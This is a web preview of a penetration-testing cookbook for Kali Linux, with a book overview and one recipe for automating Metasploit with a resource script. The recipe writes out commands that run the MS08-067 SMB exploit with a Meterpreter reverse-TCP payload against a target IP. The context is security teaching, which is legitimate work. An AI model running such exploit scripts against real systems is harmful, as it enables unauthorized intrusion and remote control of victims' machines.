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Kali Linux - An Ethical Hacker's Cookbook

By : Himanshu Sharma
Book Image

Kali Linux - An Ethical Hacker's Cookbook

By: Himanshu Sharma

Overview of this book

With the current rate of hacking, it is very important to pentest your environment in order to ensure advanced-level security. This book is packed with practical recipes that will quickly get you started with Kali Linux (version 2016.2) according to your needs, and move on to core functionalities. This book will start with the installation and configuration of Kali Linux so that you can perform your tests. You will learn how to plan attack strategies and perform web application exploitation using tools such as Burp, and Jexboss. You will also learn how to perform network exploitation using Metasploit, Sparta, and Wireshark. Next, you will perform wireless and password attacks using tools such as Patator, John the Ripper, and airoscript-ng. Lastly, you will learn how to create an optimum quality pentest report! By the end of this book, you will know how to conduct advanced penetration testing thanks to the book’s crisp and task-oriented recipes.
Table of Contents (20 chapters)
Title Page
Credits
Disclaimer
About the Author
About the Reviewer
www.PacktPub.com
Customer Feedback
Preface
6
Wireless Attacks – Getting Past Aircrack-ng

Writing a custom resource script


In the following recipe, we will look at how to write a basic script.

How to do it...

Follow the given steps for writing a basic script:

  1. We open up any editor—nano, leafpad, and so on.
  2. Here, we type all the commands we would want MSF to execute:
use exploit/windows/smb/ms08_067_netapiset payload windows/meterpreter/reverse_tcpset RHOST 192.168.15.15set LHOST 192.168.15.20set LPORT 4444exploit -j
  1. We save the script with a .rc extension:
  1. Now we start msfconsole and type the command to automatically exploit the machine:

Note

A resource script is just one way of automating Metasploit; you can learn about other ways of automating Metasploit in this article at https://community.rapid7.com/community/metasploit/blog/2011/12/08/six-ways-to-automate-metasploit.